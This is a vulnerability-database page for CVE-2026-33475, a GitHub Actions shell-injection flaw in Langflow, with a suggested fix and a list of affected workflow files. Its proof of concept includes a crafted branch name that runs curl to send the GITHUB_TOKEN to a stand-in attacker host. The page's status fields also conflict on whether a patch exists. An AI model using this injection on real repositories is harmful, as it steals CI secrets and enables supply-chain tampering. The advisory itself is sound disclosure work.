CVE-2026-33475

CRITICALPre-NVD 9.19.1
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.1 under a secondary CVSS source (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: secondary
9.1EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: CVSS: 9.1Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.


Details

Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:

run: |
  validate_branch_name "${{ github.event.pull_request.head.ref }}"

Or:

run: npx playwright install ${{ inputs.browsers }} --with-deps

Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.


PoC

  • Fork the Langflow repository
  • Create a new branch with the name:
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
  • Open a Pull Request to the main branch from the new branch
  • GitHub Actions will run the affected workflow (e.g., deploy-docs-draft.yml)
  • The run: step containing:
echo "Branch: ${{ github.head_ref }}"
Will execute:
echo "Branch: injection-test"
   curl https://attacker.site/exfil?token=$GITHUB_TOKEN
  • The attacker receives the CI secret via the exfil URL.


Impact

  • Type: Shell Injection / Remote Code Execution in CI
  • Scope: Any public Langflow fork with GitHub Actions enabled
  • Impact: Full access to CI secrets (e.g., GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data


Suggested Fix

Refactor affected workflows to use environment variables and wrap them in double quotes:

env:
  BRANCH_NAME: ${{ github.head_ref }}
run: |
  echo "Branch is: \"$BRANCH_NAME\""

Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.


Affected Files (Langflow 1.3.4)

  • .github/actions/install-playwright/action.yml
  • .github/workflows/deploy-docs-draft.yml
  • .github/workflows/docker-build.yml
  • .github/workflows/release_nightly.yml
  • .github/workflows/python_test.yml
  • .github/workflows/typescript_test.yml

CVSS v3
9.1
EG Score
9.1(low)
EG Risk
45(Track)
EG Risk 45/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity91% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

March 24, 2026

Last Modified

June 17, 2026

Advisory Details (1)

Auto-updated Jul 27, 2026
🔬 Proof of concept available. Patch available. Sources: github.
github Patch Available🟡 PoC Available

Security Vulnerability Report: Langflow GitHub Actions Shell Injection · Advisory · langflow-ai/langflow · GitHub

https://github.com/langflow-ai/langflow/security/advisories/GHSA-87cc-65ph-2j4w

Weakness Classification(2)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-27 14:30 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-33475?
CVE-2026-33475 is a critical vulnerability published on March 24, 2026. Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{…
When was CVE-2026-33475 disclosed?
CVE-2026-33475 was first published in the National Vulnerability Database on March 24, 2026, with the most recent update on June 17, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-33475?
CVE-2026-33475 has a CVSS v3 base score of 9.1 (NVD). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-33475?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-33475, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-33475

Explore →

Is Your Infrastructure Affected by CVE-2026-33475?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.